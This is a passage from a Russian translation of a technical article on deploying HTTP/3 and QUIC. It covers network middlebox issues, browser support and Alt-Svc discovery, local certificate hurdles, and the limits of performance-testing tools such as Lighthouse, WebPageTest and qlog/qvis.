Функция миграции соединений только все усложняет. [Мы видели](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/#quic-supports-connection-migration), что она продолжает соединение по новому IP-адресу без дополнительных рукопожатий, с помощью идентификаторов соединений (CID). Файрвол же видит новое соединение без рукопожатия и подозревает, что это злоумышленник отправляет вредоносный трафик. Файрвол не может использовать QUIC CID, потому что из соображений приватности они время от времени меняются. Поэтому нужно будет, **чтобы серверы сообщали файрволу ожидаемые CID**, но пока таких механизмов не существует.
Те же опасения относятся к балансировщикам нагрузки в масштабных развёртываниях, где входящие соединения распределяются по большому числу бэкенд-серверов. Трафик для одного соединения нужно будет направить на тот же бэкенд-сервер, потому что остальные не будут знать, что с ним делать. В TCP это можно сделать с помощью [четырёх параметров](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/#quic-supports-connection-migration), которые никогда не меняются. Если использовать миграцию соединения в QUIC, [это уже не поможет](https://youtu.be/pq_xk_Pecu4?t=1226). Повторю: **серверы и балансировщики нагрузки должны как-то договориться о выборе CID, чтобы разрешить детерминированную маршрутизацию**. В отличие от конфигурации файрвола, здесь уже есть [предложение](https://tools.ietf.org/html/draft-ietf-quic-load-balancers) по настройке (хотя оно пока мало где реализовано).
Наконец, есть и другие, более общие, соображения по безопасности, в основном, связанные с 0-RTT и DDoS-атаками. Во [второй части](https://habr.com/ru/company/southbridge/blog/583434/) мы видели, что в QUIC эти проблемы уже активно решаются, но в идеале не помешало бы ещё несколько линий обороны в сети. Например, прокси- или граничные серверы могут не пропускать некоторые запросы 0-RTT к бэкендам, чтобы не допустить [атаки повторением (replay attack)](https://blog.cloudflare.com/introducing-0-rtt/#whatsthecatch). Чтобы защититься от атак отражением (reflection attack) или DDoS-атак, которые отправляют первый пакет рукопожатия, а потом перестают отвечать (так называемый [SYN-флуд](https://en.wikipedia.org/wiki/SYN_flood) в TCP), QUIC включает [функцию повторных попыток](https://www.rfc-editor.org/rfc/rfc9000.html#name-address-validation-using-re). Это позволяет серверу убедиться в добросовестности клиента, не храня никакое состояние (эквивалент [TCP SYN cookie](https://en.wikipedia.org/wiki/SYN_cookies)). Процесс повторных попыток, конечно, лучше разместить где-нибудь до бэкенд-сервера. На балансировщике нагрузки, например. И снова для этого нужна [дополнительная конфигурация и настройка коммуникаций](https://tools.ietf.org/html/draft-ietf-quic-load-balancers-06#section-7).
Это только самые заметные проблемы, которые возникнут у сетевых и системных администраторов с QUIC и HTTP/3. Есть и другие, и я [рассказывал о некоторых](https://youtu.be/pq_xk_Pecu4?t=981). Эти проблемы и частичные решения обсуждаются в двух отдельных документах ([здесь](https://datatracker.ietf.org/doc/html/draft-ietf-quic-applicability) и [здесь](https://datatracker.ietf.org/doc/html/draft-ietf-quic-manageability)) для QUIC RFC.
#### Что всё это значит?
HTTP/3 и QUIC — это сложные протоколы, использующие разные внутренние механизмы. **Не все из них готовы на сто процентов**, но у вас уже есть *несколько* вариантов развёртывания новых протоколов на бэкенде. Пройдёт несколько месяцев или даже лет, прежде чем основные серверы и базовые библиотеки (например, OpenSSL), будут обновлены.
И даже тогда в масштабных проектах сложно будет настроить серверы и другие сетевые устройства, чтобы новые протоколы можно было использовать безопасно и эффективно. Понадобится хорошая команда DevOps.
Особенно на начальных этапах будет лучше, если настройкой и конфигурированием протоколов за вас займется **крупная хостинговая компания или CDN**. Как мы говорили во [второй части](https://habr.com/ru/company/southbridge/blog/583434/), именно здесь QUIC лучше всего проявит себя, а использование CDN позволяет серьёзно оптимизировать производительность. Лично я рекомендую Cloudflare или Fastly, потому что они активно участвуют в процессе стандартизации и смогут предложить самые продвинутые и продуманные реализации.
Клиенты и обнаружение QUIC
--------------------------
До сих пор мы говорили о поддержке новых протоколов на стороне сервера и в сети, но на стороне клиента тоже не всё так просто.
Начнем с хорошей новости: **большинство браузеров уже поддерживают HTTP/3, пусть и в экспериментальном режиме**. Вот как обстоят дела на момент написания статьи (см. также [caniuse.com](https://caniuse.com/http3)):
*Браузеры активно поддерживают HTTP/3. (Источник: [caniuse.com](https://caniuse.com/http3)) ([исходное изображение](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/9d4aedbb-8464-4062-93d4-986989202121/caniuse-h3.png))*
* **Google Chrome (version 91+)**: включено по умолчанию.
* **Mozilla Firefox (version 89+)**: включено по умолчанию.
* **Microsoft Edge (version 90+)**: включено по умолчанию (использует Chromium).
* **Opera (version 77+)**: включено по умолчанию (использует Chromium).
* **Apple Safari (version 14)**: включается вручную. Будет включено по умолчанию в версии 15, которая сейчас на стадии technology preview.
* **Другие браузеры**: пока ничего неизвестно (хотя браузеры на Chromium, например Brave, в теории тоже могут поддерживать протокол).
**Важные примечания:**
* Большинство браузеров распространяют обновления постепенно, так что не все пользователи получат поддержку HTTP/3 по умолчанию с самого начала. Это делается для того, чтобы один пропущенный баг не повлиял сразу на всех пользователей и чтобы не перегрузить сервера обновлений. Есть небольшая вероятность, что даже в последних версиях браузера вы не получите HTTP/3 по умолчанию и придётся [включать его вручную](https://caniuse.com/http3).
* Как и в случае с серверами, поддержка HTTP/3 не означает, что все функции реализованы или используются. Например, 0-RTT, миграция соединения, server push, динамическое сжатие заголовков QPACK и приоритизация HTTP/3 могут пока отсутствовать, использоваться осторожно или иметь неоптимальную конфигурацию.
* Если вы хотите использовать HTTP/3 на клиенте не в браузере (например, в нативном приложении), нужно интегрировать одну из библиотек [из списка выше](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#servers-and-networks) или использовать [cURL](https://github.com/curl/curl/blob/master/docs/HTTP3.md). Apple скоро [предоставит нативную поддержку HTTP/3 и QUIC во встроенных сетевых библиотеках на macOS и iOS](https://developer.apple.com/videos/play/wwdc2021/10094/), а Microsoft добавляет QUIC в ядро Windows и [окружение .NET](https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/kestrel/http3?view=aspnetcore-6.0), но другие системы, например Android, пока не объявили о подобной поддержке.
#### ALT-SVC
Даже если у вас есть сервер, совместимый с HTTP/3, и обновлённый браузер, это не значит, что **HTTP/3 будет работать стабильно**. Чтобы понять причину, представьте себя на месте браузера. Пользователь просит вас открыть `example.com` (сайт, где вы раньше никогда не были), и вы используете DNS, чтобы преобразовать его в IP-адрес. Вы отправляете один или несколько пакетов рукопожатия QUIC на этот IP. Тут может возникнуть сразу несколько проблем:
1. Сервер не поддерживает QUIC.
2. Одна из промежуточных сетей или файрволов полностью блокирует QUIC и/или UDP.
3. Пакеты рукопожатия могут потеряться при передаче.
**Как узнать, что именно случилось?** Во всех трёх случаях вы просто не получите ответ на рукопожатие. Вы ждёте и надеетесь, что ответ придет. Когда время ожидания истечет, вы решите, что с HTTP/3 проблема. Тогда вы пытаетесь открыть TCP-соединение с сервером в надежде, что хотя бы HTTP/2 или HTTP/1.1 сработают.
Такой подход приводит к серьёзным задержкам, и особенно это будет проявляться в первые несколько лет, пока многие серверы и сети ещё не поддерживают QUIC. Простое, но наивное решение — **открыть сразу два соединения (QUIC и TCP) и использовать то, по которому быстрее придёт ответ**. Такой метод называется гонкой соединений, или [happy eyeballs](https://en.wikipedia.org/wiki/Happy_Eyeballs). Это возможно, но издержки будут большими. Даже если проигравшее соединение почти сразу закрывается, оно потребляет какое-то количество памяти и процессорных ресурсов на клиенте и сервере (особенно при использовании TLS). Есть и другие проблемы, связанные с IPv4 и IPv6 и [атаками повторением](https://www.smashingmagazine.com/2021/08/http3-performance-improvements-part2/#0-rtt-connection-set-up) (подробнее об этом я рассказываю в [своем выступлении](https://youtu.be/pq_xk_Pecu4?t=1545)).
Так что браузеры предпочтут не рисковать и **будут пытаться использовать QUIC, только если известно, что сервер поддерживает протокол**. Если браузер впервые связывается с сервером, он будет использовать только HTTP/2 или HTTP/1.1 по TCP-соединению. Сервер может сообщить браузеру, что поддерживает HTTP/3, чтобы его можно было использовать для последующих соединений. Для этого в ответе, который отправляется по HTTP/2 или HTTP/1.1, задается специальный HTTP-заголовок. Заголовок называется Alt-Svc, что расшифровывается как [alternative services](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Alt-Svc) (альтернативные сервисы). С помощью Alt-Svc можно сообщить браузеру, что определённый сервис доступен через другой сервер (IP и/или порт), а ещё он может указывать на альтернативные протоколы. См. рисунок 1.
 *Рис. 1: Facebook использует заголовок Alt-Svc, чтобы сообщить браузеру, что он доступен через HTTP/3 на порте UDP 443 (действует в течение 3600 с). Пока протокол называется h3-29 или h3-27 (29-я и 27-я черновые версии HTTP/3), но скоро останется только h3 (некоторые серверы, например, google.com, уже используют h3). ([исходное изображение](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/90f995f5-6b02-4884-a602-f5a526fb40e2/facebook-alt-svc.png))*
Получив заголовок Alt-Svc и узнав о поддержке HTTP/3, браузер *кэширует* его и с тех пор пытается установить QUIC-соединение. Некоторые клиенты делают это сразу (прямо во время начальной загрузки страницы, см. ниже), другие сначала ждут, пока закроются существующие TCP-соединения. Это означает, что браузер **будет использовать HTTP/3 только после того, как уже загрузил хотя бы несколько ресурсов по HTTP/2 или HTTP/1.1**. И даже тогда не всё идет гладко. Браузер уже знает, что сервер поддерживает HTTP/3, но про промежуточные сети ему ничего не известно. Так что на практике гонка соединений все ещё нужна. Придётся использовать HTTP/2, если рукопожатие QUIC застряло где-то в сети. Если QUIC-соединение не устанавливается несколько раз подряд, некоторые браузеры на какое-то время помещают кэшированную запись Alt-Svc в чёрный список и не пытаются использовать HTTP/3. Можно вручную очистить кэш браузера, если что-то идёт не так, чтобы удалить привязки Alt-Svc. Наконец, Alt-Svc, как оказалось, может представлять [серьёзные риски для безопасности](https://www.usenix.org/system/files/woot19-paper_tiwari.pdf). Поэтому некоторые браузеры накладывают дополнительные ограничения, например, на доступные порты (в Chrome серверы HTTP/2 и HTTP/3 должны оба находиться либо ниже порта 1024 либо на порте 1024 и выше, иначе Alt-Svc будет игнорироваться). Логика у браузеров очень сильно различается, так что **добиться стабильности HTTP/3-соединений сложно**. Это затрудняет и тестирование новых площадок.
> *Работы по улучшению двухэтапного процесса Alt-Svc уже ведутся. Есть идея использовать новые записи DNS, [SVCB и HTTPS](https://datatracker.ietf.org/doc/html/draft-ietf-dnsop-svcb-https), которые содержат примерно ту же информацию, что и* Alt-Svc*. С ними клиент может узнать, что сервер поддерживает HTTP/3, [ещё на этапе разрешения DNS](https://docs.google.com/document/d/1k461sRbddjDGj7Q8f-ZKHZvmB-ENUWSdX_3Fpp2dmXQ), а значит можно попробовать QUIC с первой загрузки страницы, не пытаясь сначала использовать HTTP/2 или HTTP/1.1. Больше об этом и об* Alt-Svc *см. в [главе прошлогоднего Web Almanac об HTTP/2](https://almanac.httparchive.org/en/2020/http2#deploying-and-discovering-http3).*
Как видите, Alt-Svc и обнаружение HTTP/3 добавляет сложности к и без того непростому развёртыванию сервера QUIC, потому что:
* Сервер HTTP/3 всегда нужно развёртывать рядом с сервером HTTP/2 и/или HTTP/1.1.
* Нужно настроить серверы HTTP/2 и HTTP/1.1 так, чтобы они задавали корректные заголовки Alt-Svc в ответах.
В продакшене это ещё можно настроить (например, один инстанс Apache или NGINX, скорее всего, будет поддерживать все три варианта HTTP одновременно), но **в локальном тестовом окружении это будет очень хлопотно** (лично я забываю добавлять заголовки Alt-Svc или допускаю ошибки в них). Проблема усугубляется тем, что в браузере сейчас недостаёт логов ошибок и индикаторов DevTools, то есть будет сложно понять, что именно пошло не так.
#### Другие проблемы
И это, к сожалению, не все сложности локального тестирования: **Chrome очень затрудняет использование самоподписанных TLS-сертификатов для QUIC**. Дело в том, что [неофициальные TLS-сертификаты часто используются компаниями для дешифровки TLS-трафика сотрудников](https://tlseminar.github.io/tls-interception/#how-ssl-tls-interception-works) (чтобы файрволы, например, могли сканировать зашифрованный трафик). Если компании попытаются провернуть это с QUIC, мы опять получим кастомные реализации промежуточных устройств, которые строят собственные предположения о протоколе. Это может помешать поддержке протокола в будущем, а именно этого мы и пытались избежать, когда так старательно шифровали QUIC. У Chrome свой подход:**если вы не используете официальный TLS-сертификат (подписанный центром сертификации или корневым сертификатом, которому Chrome доверяет, например [Let’s Encrypt](https://letsencrypt.org/)), то и QUIC вам использовать нельзя**. К сожалению, это распространяется и на самоподписанные сертификаты, часто используемые для локальных тестовых окружений.
Можно [обойти эту проблему](https://centrifugal.github.io/centrifugo/blog/quic_web_transport/#generate-self-signed-tls-certificates) с помощью [навороченных](https://github.com/GoogleChrome/samples/issues/697) [флагов](https://github.com/marten-seemann/chrome-quic-interop-runner/blob/master/run.py#L45) командной строки (потому что обычный --ignore-certificate-errors пока не работает для QUIC), используя сертификаты для каждого разработчика (хотя настраивать их долго) или установив реальный сертификат на ПК разработки (но это вряд ли подойдёт большим командам, потому что придётся предоставить закрытый ключ сертификата каждому разработчику). Наконец, мы можем установить [кастомный корневой сертификат](https://www.freecodecamp.org/news/how-to-get-https-working-on-your-local-development-environment-in-5-minutes-7af615770eec/), но придется обойти флаги --origin-to-force-quic-on и --ignore-certificate-errors-spki-list [при запуске Chrome](https://www.chromium.org/quic/playing-with-quic) (см. [ниже](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#tools-and-testing)). К счастью, сейчас такие строгие требования есть только в Chrome. Будем надеяться, его разработчики со временем передумают.
Если у вас возникают проблемы с настройкой QUIC в браузере, сначала проверьте их с помощью, например, [cURL](https://github.com/curl/curl/blob/master/docs/HTTP3.md). cURL превосходно поддерживает HTTP/3 (можно даже выбирать из двух разных базовых библиотек), и с ним проще наблюдать за логикой кэширования Alt-Svc.
#### Что всё это значит?
Кроме сложностей с настройкой HTTP/3 и QUIC на стороне сервера, есть еще проблемы с согласованным использованием новых протоколов в браузерах. Они связаны с **двухэтапным процессом обнаружения с HTTP-заголовком Alt-Svc** и тем фактом, что HTTP/2-соединения нельзя просто проапгрейдить до HTTP/3, потому что последний использует UDP.
Даже если сервер поддерживает HTTP/3, клиенты (и владельцы сайтов!) ещё должны учитывать промежуточные сети, которые могут блокировать трафик UDP и/или QUIC. Поэтому **HTTP/3 никогда полностью не заменит HTTP/2**. На практике хорошо настроенная система HTTP/2 нужна будет при самом первом посещении и для клиентов в сетях, которые запрещают UDP. К счастью, [и мы уже говорили об этом](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#servers-and-networks), страницы не придётся особо адаптировать под HTTP/3, так что хотя бы этой проблемы у нас не будет.
Зато проблемой может стать тестирование и проверка правильной конфигурации и ожидаемого использования протоколов. Это относится и к продакшену, но особенно к локальным развёртываниям. Я думаю, что **большинство людей продолжат использовать серверы разработки с HTTP/2 (или даже HTTP/1.1)** и перейдут на HTTP/3 только на более позднем этапе. И даже тогда тестировать производительность протокола с помощью инструментов текущего поколения будет сложно.
Инструменты и тестирование
--------------------------
Как и в случае с серверами, производители самых популярных инструментов тестирования веб-производительности не уследили за HTTP/3 с самого начала. В итоге на июль 2021 года **у нас мало инструментов с поддержкой нового протокола**, и даже эта поддержка неполная.
#### Google Lighthouse
Начнём с [Google Lighthouse](https://developers.google.com/web/tools/lighthouse). В целом это превосходный инструмент тестирования веб-производительности, но мне всегда недоставало средств именно для протоколов. Проблема в том, что [он симулирует медленные сети не очень правдоподобно](https://github.com/GoogleChrome/lighthouse/blob/master/docs/throttling.md) (как и Chrome DevTools). Это удобный инструмент и обычно [его достаточно](https://www.debugbear.com/blog/network-throttling-methods), чтобы получить представление о медленной сети, [но для тестирования различий низкоуровневых протоколов он мало что даёт](https://twitter.com/patmeenan/status/1410676572596678657). У браузера нет прямого доступа к стеку TCP, так что он загружает страницу по обычной сети, а потом искусственно задерживает передачу данных в логику браузера. То есть, например, **Lighthouse симулирует только задержку и полосу пропускания, но не потерю пакетов** ([а мы уже видели](https://www.smashingmagazine.com/2021/08/http3-performance-improvements-part2/#congestion-control), что это одно из главных различий между HTTP/3 и HTTP/2). Также Lighthouse [использует продуманную модель симуляции](https://github.com/GoogleChrome/lighthouse/blob/master/docs/lantern.md), чтобы примерно оценить реальное влияние сети, потому что, допустим, Google Chrome использует сложную логику, чтобы корректировать некоторые аспекты загрузки страницы при обнаружении медленной сети. Эта модель, насколько я знаю (см. [здесь](https://github.com/GoogleChrome/lighthouse/issues/12291) и [здесь](https://twitter.com/patrickhulce/status/1412401838498910213)) пока не адаптирована для IETF QUIC или HTTP/3. Так что если использовать Lighthouse только для сравнения производительности HTTP/2 и HTTP/3, можно получить ошибочные или слишком упрощённые результаты, по которым вы сделаете неверные выводы о возможностях HTTP/3 на практике. Можно надеяться, что в будущем инструмент будет усовершенствован, потому что у браузера *есть* полный доступ к стеку QUIC, так что Lighthouse может серьёзно улучшить симуляции (и даже учитывать потери пакетов!). **Сейчас с помощью Lighthouse в теории можно тестировать загрузку страниц по HTTP/3, но я не рекомендую так делать**.
#### Webpagetest
Ещё есть [WebPageTest](https://www.webpagetest.org/). Это отличный проект, который позволяет загружать страницы по реальным сетям с реальных устройств по всему миру и добавлять симуляцию на уровне пакетов, чтобы рассматривать сценарии с потерей пакетов. Поэтому WebPageTest, в принципе, может стать лучшим инструментом для сравнения производительности HTTP/2 и HTTP/3. Правда, хоть он и может уже загружать страницы по новому протоколу, **HTTP/3 пока не полностью интегрирован в инструменты и визуализации**. Например, сейчас нельзя просто принудительно загружать страницы по QUIC, чтобы посмотреть, как используется Alt-Svc, или изучить детали о рукопожатиях QUIC. В некоторых случаях сложно даже посмотреть, что использовал ответ — HTTP/3 или HTTP/2. И всё же у меня получилось с помощью WebPageTest потестировать, как это работает на facebook.com, и увидеть HTTP/3 в действии.
Сначала я запустил дефолтный тест для facebook.com, включив repeat view (повторный просмотр). Как [я объяснял выше](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#alt-svc), первая загрузка страницы должна была использовать HTTP/2, а в заголовке ответа мы получили бы Alt-Svc. Поэтому при повторном просмотре должен был использоваться HTTP/3 с самого начала. В [Firefox version 89](https://www.webpagetest.org/result/210420_AiDcQS_8c1a37579b3b6d291868d0242abb26a1/) это более-менее происходит. Но если посмотреть на отдельные ответы, видно, что **Firefox переключается на HTTP/3 уже при первой загрузке страницы!** На рисунке 2 показано, что это происходит с 20-го ресурса. Это значит, что Firefox устанавливает новое QUIC-соединение, как только видит заголовок Alt-Svc, и переходит на него при первой возможности. Если прокрутить до соединений, видно, что Firefox даже открыл два QUIC-соединения: одно для доверенных CORS-запросов и одно для запросов без CORS. Это ожидаемо, ведь, как мы уже говорили, даже для HTTP/2 и HTTP/3 браузеры открывают несколько соединений из соображений безопасности. Поскольку WebPageTest не дает дополнительной информации, сложно проверить эту гипотезу, не просмотрев данные вручную. Если смотреть на второе посещение, первый же запрос использует HTTP/3, как и ожидалось.
 *Рис. 2: Firefox переходит на HTTP/3 на половине первой загрузки страницы. ([исходное изображение](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/7c3ef819-126d-4140-98ab-2bdf5344854f/firefox-facebook.png))*
У [www.webpagetest.org/result/210420\_AiDcP0\_6aeaac212f59298cf834ad30b4ec72e6](https://www.webpagetest.org/result/210420_AiDcP0_6aeaac212f59298cf834ad30b4ec72e6/)»
>Chrome мы видим что-то похожее, хотя он меняет соединение на 10-м ресурсе, гораздо раньше, чем Firefox. Только непонятно, когда он это делает — при первой возможности или когда потребовалось новое соединение (например, для запросов с другими учётными данными), потому что, в отличие от Firefox, мы не видим несколько QUIC-соединений. Для повторного просмотра происходит что-то странное. **Ни с того ни с сего Chrome начинает с HTTP/2** и переходит на HTTP/3 только после нескольких запросов. Я провел несколько тестов с другими страницами (например, [вот](https://www.webpagetest.org/result/210420_BiDcXS_d2bca9bd9ddce71dfc7bc0618fe7ed11/), [вот](https://www.webpagetest.org/result/210420_AiDc7G_540eaf6f42de75ba9cdf2785528e36e9) и [вот](https://www.webpagetest.org/result/210420_AiDcBR_84d6accab1a208c4eb801df6ef689e5e)) и убедился, что это для него нормальное поведение. Причин может быть несколько. Например, у Chrome такая политика, Chrome провел [гонку](https://www.smashingmagazine.com/2021/09/http3-practical-deployment-options-part3/#alt-svc) между TCP и QUIC, и TCP сначала победил, или кэш Alt-Svc от первого просмотра почему-то не использовался. Сейчас, к сожалению, очень сложно определить, в чём проблема и можно ли ее исправить.
> *Ещё одно интересное наблюдение: соединения объединяются. Выше мы говорили, что HTTP/2 и HTTP/3 могут повторно использовать соединения даже при изменении имён хостов, чтобы избежать проблем шардинга. Но на рисунке 3 видно, что при этой загрузке ресурсов Facebook соединения объединялись при использовании HTTP/3 для* facebook.com *и* fbcdn.net*, но с HTTP/2 такого не было (Chrome открыл ещё одно соединение для второго домена). Думаю, это баг на WebPageTest, потому что у* facebook.com *и* fbcnd.net *разные IP и объединить их нельзя.*
Ещё на рисунке видно, что на схеме WebPageTest не отображается кое-какая важная информация из рукопожатия QUIC.
 *Рис. 3: Кажется, Chrome объединяет соединения Facebook по HTTP/3, но не по HTTP/2. ([исходное изображение](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dc343577-ecc6-4d09-9674-8ce22d290870/chrome-facebook-connection.png))*
Примечание. *Как видите, полноценно оценить HTTP/3 сложно. К счастью, особенно для Chrome, мы добавили дополнительные варианты, с помощью которых можно тестировать QUIC и HTTP/3, в виде параметров командной строки.*
В нижней части вкладки Chromium на WebPageTest я использовал следующие параметры:
`--enable-quic --quic-version=h3-29 --origin-to-force-quic-on=www.facebook.com:443,static.xx.fbcdn.net:443`
[Результаты теста](https://www.webpagetest.org/result/210420_AiDcY7_ddae6dc06c438d83bb8625cf52951041) показывают, что так мы действительно начинаем с QUIC-соединения даже при первом просмотре, не используя Alt-Svc. Вы, наверное, заметили, что мне пришлось указать два имени хоста в --origin-to-force-quic-on. Если [указать одно](https://www.webpagetest.org/result/210420_BiDcHG_df3438e0dde2f5ea02fc1f865e4e43b8), Chrome сначала открывает для fbcnd.net HTTP/2-соединение, даже при повторном просмотре. Чтобы все получилось, **придётся вручную указать *все* источники QUIC!**
Эти примеры показывают, как сложно разобраться в использовании браузерами HTTP/3 на практике. Они даже переходят на новый протокол при начальной загрузке страницы, отключая HTTP/2 при первой возможности или когда потребуется новое соединение. Поэтому сложно не только загрузиться исключительно по HTTP/3, но но и только по HTTP/2, если поддерживаются оба протокола! WebPageTest пока показывает мало метаданных для HTTP/3 и QUIC, поэтому сложно понять, что происходит. Нельзя воспринимать буквально то, что мы видим в инструментах и на графиках.
Если вы используете WebPageTest, тщательно проверьте результаты, чтобы узнать, какие протоколы на самом деле использовались. **Думаю, пока слишком рано по-настоящему тестировать производительность HTTP/3** (и особенно сравнивать его с HTTP/2). Плюс не все серверы и клиенты пока реализовали все возможности протокола. В WebPageTest нельзя посмотреть, использовались ли продвинутые функции, вроде 0-RTT, так что непонятно, что мы на самом деле измеряем. Особенно это касается [приоритизации HTTP/3](https://www.smashingmagazine.com/2021/08/http3-performance-improvements-part2/#packet-loss-resilienceg), которая пока не реализована как надо во всех браузерах, да и многие серверы пока полноценно не поддерживают её. Приоритизация [значительно влияет](https://blog.cloudflare.com/better-http-2-prioritization-for-a-faster-web/) на веб-производительность, так что некорректно сравнивать HTTP/3 с HTTP/2, не убедившись что всё работает правильно (в обоих протоколах!). Это всего один аспект, и [мое исследование показывает, что между реализациями QUIC могут быть очень большие отличия](https://qlog.edm.uhasselt.be/epiq/files/QUICImplementationDiversity_Marx_final_11jun2020.pdf). Если вы захотите сами провести сравнение (или будете читать статьи на эту тему), **вы должны быть на 100% уверены в том, что на самом деле происходит.**
Многие другие инструменты, вроде потрясающего [HTTP Archive](https://httparchive.org/), часто основаны на WebPageTest или Lighthouse (или используют аналогичные методы), так что, думаю, мои комментарии подойдут для большинства средств тестирования веб-производительности. Даже если вендор объявляет, что вскоре будет поддерживать HTTP/3, я бы относился к этому насторожено и всё тщательно проверял. У некоторых инструментов всё совсем плохо, например, Google PageSpeed Insights [только в этом году стал поддерживать HTTP/2](https://developers.google.com/speed/docs/insights/release_notes), так что HTTP/3 я бы в ближайшее время не ждал.
#### Wireshark, qlog and qvis
Пока сложно проанализировать поведение HTTP/3 с помощью Lighthouse или WebPageTest. К счастью, есть более специализированные инструменты. Во-первых, это, конечно, [Wireshark](https://www.wireshark.org/), который хорошо работает с QUIC и даже экспериментально анализирует HTTP/3. Он позволяет наблюдать за тем, какие пакеты QUIC и HTTP/3 проходят по сети. Чтобы всё работало, нужно получить ключи расшифровки TLS для конкретного соединения, и в большинстве реализаций (включая Chrome и Firefox) их можно извлечь с помощью [переменной среды](https://www.steffr.ch/inspect-ssl-tls-traffic-from-chrome-firefox-curl-with-wireshark-no-mitm/) SSLKEYLOGFILE. Эти данные интересно изучить в некоторых сценариях, но чтобы по-настоящему разобраться в происходящем, особенно для долговременных соединений, придется много настраивать вручную и очень хорошо понимать, как устроены протоколы.
К счастью, есть другой вариант — qlog и qvis. [qlog](https://github.com/quicwg/qlog) — это формат логирования на базе JSON, созданный специально для QUIC и HTTP/3. Его поддерживает большинство реализаций QUIC. qlog не следит за тем, как пакеты проходят по сети, а записывает информацию сразу с клиента и сервера, в том числе дополнительные детали (например, о контроле перегрузок). Собрать данные qlog при запуске серверов и клиентов можно с помощью переменной среды QLOGDIR. (В Firefox нужно задать [network.http.http3.enable\_qlog](https://bugzilla.mozilla.org/show_bug.cgi?id=1649495). Устройства Apple и Safari используют [QUIC\_LOG\_DIRECTORY](https://developer.apple.com/videos/play/wwdc2021/10094/). Chrome пока не поддерживает qlog.)
Файлы qlog можно отправить в набор инструментов qvis на странице [qvis.quictools.info](https://qvis.quictools.info/). Там можно создать **несколько расширенных интерактивных графиков для анализа трафика QUIC и HTTP/3**. В qvis можно загрузить записи пакетов Wireshark (файлы .pcap), а еще он предлагает экспериментальную поддержку для [файлов Chrome netlog](https://www.chromium.org/for-testers/providing-network-details), чтобы можно было анализировать поведение Chrome. Полные инструкции по qlog и qvis мы здесь приводить не будем, но вы можете [посмотреть видео](https://www.youtube.com/watch?v=HQ1uIClmzkU), [почитать документ](https://qlog.edm.uhasselt.be/anrw/files/DebuggingQUICWithQlog_Marx_final_21jun2020.pdf) или [послушать обсуждение](https://cloudflare.tv/event/3OM7upT7p3vpAdzphFdhnx). Или [задайте вопросы мне](https://twitter.com/programmingart), потому что я главный разработчик qlog и qvis. ;)
Я реалист и понимаю, что мало кто из читателей станет использовать Wireshark или qvis, потому что они очень узкоспециализированные. Но пока у нас мало альтернатив, так что я не советую **масштабно тестировать производительность HTTP/3 без таких инструментов**, потому что нужно чётко понимать, что конкретно происходит и с чем это связано — с самим протоколом или другими факторами.
#### Что всё это значит?
Как мы видели, HTTP/3 over QUIC требует сложной настройки. Что угодно может пойти не так. К сожалению, пока нет инструмента, который предоставил бы нужные детали на нужном уровне абстракции. Это очень мешает **большинству разработчиков оценить потенциальные преимущества HTTP/3 для веб-сайтов** или хотя бы проверить, что у них всё работает правильно.
Полагаться только на метрики высокого уровня опасно, потому что на них влияет очень много факторов (вроде нереалистичной симуляции сети, отсутствия функций на клиентах и серверах, только частичное использование HTTP/3 и т. д.). Даже если бы всё работало хорошо, как мы видели [во второй части](https://www.smashingmagazine.com/2021/08/http3-performance-improvements-part2/#conclusion), различия между HTTP/2 и HTTP/3 в большинстве случаев были бы незначительными. Тем сложнее добиться чего-то внятного от общих инструментов без специализированной поддержки HTTP/3.
Учитывая все эти замечания, **я не советую сравнивать производительность HTTP/2 и HTTP/3 в ближайшие месяцы. Лучше займитесь тщательной настройкой на серверах**. Для этого проще всего использовать WebPageTest в сочетании с параметрами командной строки Google Chrome, а также curl для решения возможных проблем — пока это самая надёжная комбинация.
Заключение и выводы
-------------------
Если вы прочитали всю серию и добрались до этого места, **мои поздравления**! Даже если вы читали выборочно, благодарю за интерес к этим удивительным новым протоколам. Сейчас я подведу итоги по всей серии, дам рекомендации на ближайшие месяцы и на год и оставлю ссылки на дополнительные ресурсы.
#### Итоги
Сначала [в первой части](https://www.smashingmagazine.com/2021/08/http3-core-concepts-part1/) мы узнали, что **HTTP/3 мы затеяли ради базового транспортного протокола — QUIC**. QUIC — преемник TCP, который перенял от него всё лучшее, включая TLS 1.3. Проблема в том, что TCP так распространён, в том числе установлен на всех промежуточных устройствах, что совершенно потерял гибкость и не развивается. QUIC использует UDP и почти полностью зашифрован, а значит — будем надеяться! — нам придется обновлять только конечные точки для добавления новых функций, а это проще. QUIC, к тому же, дает интересные новые возможности.
1. Транспортное и криптографическое рукопожатие объединены, в отличие от TCP + TLS, и можно использовать преимущества 0-RTT.
2. QUIC знает, что передает несколько независимых потоков байтов, и может по-умному обрабатывать потери и задержки, частично решая проблему блокировок HoL.
3. QUIC-соединения можно переносить между сетями (т. н. миграция соединения), если пометить каждый пакет ID соединения.
4. Гибкая структура пакетов QUIC (с фреймами) повышает эффективность, гибкость и расширяемость протокола.
Очевидно, что **QUIC — это транспортный протокол нового поколения, который будет использоваться ещё очень много лет**.
[Во второй части](https://www.smashingmagazine.com/2021/08/http3-performance-improvements-part2/) **мы критически оценивали новые функции, особенно с точки зрения производительности**.
1. QUIC нельзя волшебным образом ускорить (или замедлить) благодаря UDP, потому что QUIC использует почти такие же механизмы контроля перегрузок, как TCP.
2. Быстрые рукопожатия и 0-RTT ненамного повышают производительность, потому что позволяют сэкономить всего один круг по сравнению с оптимизированным стеком TCP + TLS, а настоящий 0-RTT ограничен соображениями безопасности.
3. Миграция соединения полезна только в редких сценариях, и скорость всё равно придется сбрасывать из-за контроля перегрузок, потому что неизвестно, какая полоса пропускания у новой сети.
